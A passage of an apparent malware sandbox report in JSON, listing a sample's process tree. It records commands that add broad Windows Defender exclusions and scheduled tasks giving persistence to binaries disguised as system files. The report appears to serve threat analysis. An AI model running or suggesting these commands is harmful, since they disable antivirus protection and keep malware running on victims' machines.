States","registrar_name":"http://www.nic.ac/go/whois/ipinfo.ac","registrar_name_servers":"ns-595.awsdns-10.net","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]}],"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}],"processes":[{"pid":764,"ppid":0,"name":"bounty-11274888870579111.exe","command_line":"","sha256":"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199","normalized_path":"C:\\bounty-11274888870579111.exe","uid":"00000000-00000764","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="},{"pid":3048,"ppid":764,"name":"WScript.exe","command_line":"\"C:\\msComwin\\cZA5KaguC4o8PZDkwLzCSV.vbe\"","sha256":"d57c8674dacc2dd3c03c70ccb823a38bd89f7cabb1663e115e0cb720a0c12c34","normalized_path":"%WINDIR%\\SysWOW64\\WScript.exe","parent_uid":"00000000-00000764","uid":"00000000-00003048"},{"pid":5196,"ppid":3048,"name":"cmd.exe","command_line":"%WINDIR%\\system32\\cmd.exe /c \"\"C:\\msComwin\\jPMpoQeQp16cuCKUjlVM4BatpZBs5KbDfkAsAnootEh6QE.bat\" \"","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003048","uid":"00000000-00005196"},{"pid":5820,"ppid":5196,"name":"serverDriver.exe","command_line":"","sha256":"d0102ec13b810c20f1a43950ac1aab7afc636b94ad13d15d1e6eaef49c3c1d6f","normalized_path":"C:\\msComwin\\serverDriver.exe","parent_uid":"00000000-00005196","uid":"00000000-00005820"},{"pid":1404,"ppid":5820,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath 'C:/'","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005820","uid":"00000000-00001404"},{"pid":7532,"ppid":5820,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005820","uid":"00000000-00007532"},{"pid":3016,"ppid":5820,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath 'C:/$WINDOWS.~BT/'","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005820","uid":"00000000-00003016"},{"pid":7788,"ppid":5820,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005820","uid":"00000000-00007788"},{"pid":5180,"ppid":5820,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath 'C:/found.000/'","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005820","uid":"00000000-00005180"},{"pid":2816,"ppid":5820,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath 'C:/msComwin/'","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005820","uid":"00000000-00002816"},{"pid":4600,"ppid":5820,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath 'C:/MSOCache/'","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005820","uid":"00000000-00004600"},{"pid":6416,"ppid":5820,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005820","uid":"00000000-00006416"},{"pid":7940,"ppid":5820,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath '%PROGRAMFILES%\\'","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005820","uid":"00000000-00007940"},{"pid":5064,"ppid":5820,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath '%PROGRAMFILES%\\(x86)/'","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005820","uid":"00000000-00005064"},{"pid":7520,"ppid":5820,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\\'","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005820","uid":"00000000-00007520"},{"pid":6996,"ppid":5820,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005820","uid":"00000000-00006996"},{"pid":3700,"ppid":5820,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005820","uid":"00000000-00003700"},{"pid":1236,"ppid":5820,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath 'C:/tempdir/'","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005820","uid":"00000000-00001236"},{"pid":4056,"ppid":5820,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath 'C:/Users/'","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005820","uid":"00000000-00004056"},{"pid":5920,"ppid":5820,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath '%WINDIR%\\'","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005820","uid":"00000000-00005920"},{"pid":7452,"ppid":5820,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath 'C:\\found.000\\dir0011.chk\\AutoIt3_x64.exe'","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005820","uid":"00000000-00007452"},{"pid":7176,"ppid":5820,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath '%WINDIR%\\System32\\wo-SN\\conhost.exe'","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005820","uid":"00000000-00007176"},{"pid":5228,"ppid":5820,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath '%PROGRAMFILES%\\(x86)\\Windows Portable Devices\\csrss.exe'","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005820","uid":"00000000-00005228"},{"pid":5812,"ppid":5820,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath '%USERPROFILE%\\Saved Games\\OSPPSVC.exe'","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005820","uid":"00000000-00005812"},{"pid":3396,"ppid":5820,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath 'C:\\found.000\\dir0000.chk\\AutoIt3_x64.exe'","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005820","uid":"00000000-00003396"},{"pid":3488,"ppid":5820,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath 'C:\\msComwin\\serverDriver.exe'","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005820","uid":"00000000-00003488"},{"pid":2712,"ppid":5820,"name":"cmd.exe","command_line":"/C \"%TEMP%\\hdvdfARUms.bat\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00000000-00005820","uid":"00000000-00002712"},{"pid":6220,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"AutoIt3_x64A\" /sc MINUTE /mo 7 /tr \"'C:\\found.000\\dir0011.chk\\AutoIt3_x64.exe'\" /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00006220","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="},{"pid":7668,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"AutoIt3_x64\" /sc ONLOGON /tr \"'C:\\found.000\\dir0011.chk\\AutoIt3_x64.exe'\" /rl HIGHEST /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00007668","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="},{"pid":7884,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"AutoIt3_x64A\" /sc MINUTE /mo 13 /tr \"'C:\\found.000\\dir0011.chk\\AutoIt3_x64.exe'\" /rl HIGHEST /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00007884","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="},{"pid":5184,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"conhostc\" /sc MINUTE /mo 7 /tr \"'%WINDIR%\\System32\\wo-SN\\conhost.exe'\" /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00005184","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="},{"pid":8156,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"conhost\" /sc ONLOGON /tr \"'%WINDIR%\\System32\\wo-SN\\conhost.exe'\" /rl HIGHEST /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00008156","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="},{"pid":7480,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"conhostc\" /sc MINUTE /mo 6 /tr \"'%WINDIR%\\System32\\wo-SN\\conhost.exe'\" /rl HIGHEST /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00007480","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="},{"pid":4000,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"csrssc\" /sc MINUTE /mo 11 /tr \"'%PROGRAMFILES%\\(x86)\\Windows Portable Devices\\csrss.exe'\" /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00004000","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="},{"pid":2748,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"csrss\" /sc ONLOGON /tr \"'%PROGRAMFILES%\\(x86)\\Windows Portable Devices\\csrss.exe'\" /rl HIGHEST /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00002748","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="},{"pid":7768,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"csrssc\" /sc MINUTE /mo 11 /tr \"'%PROGRAMFILES%\\(x86)\\Windows Portable Devices\\csrss.exe'\" /rl HIGHEST /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00007768","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="},{"pid":7704,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"OSPPSVCO\" /sc MINUTE /mo 11 /tr \"'%USERPROFILE%\\Saved Games\\OSPPSVC.exe'\" /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00007704","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="},{"pid":8148,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"OSPPSVC\" /sc ONLOGON /tr \"'%USERPROFILE%\\Saved Games\\OSPPSVC.exe'\" /rl HIGHEST /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00008148","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="},{"pid":3792,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"OSPPSVCO\" /sc MINUTE /mo 8 /tr \"'%USERPROFILE%\\Saved Games\\OSPPSVC.exe'\" /rl HIGHEST /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00003792","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="},{"pid":4296,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"AutoIt3_x64A\" /sc MINUTE /mo 8 /tr \"'C:\\found.000\\dir0000.chk\\AutoIt3_x64.exe'\" /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00004296","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="},{"pid":4564,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"AutoIt3_x64\" /sc ONLOGON /tr \"'C:\\found.000\\dir0000.chk\\AutoIt3_x64.exe'\" /rl HIGHEST /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00004564","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="},{"pid":3192,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"AutoIt3_x64A\" /sc MINUTE /mo 6 /tr \"'C:\\found.000\\dir0000.chk\\AutoIt3_x64.exe'\" /rl 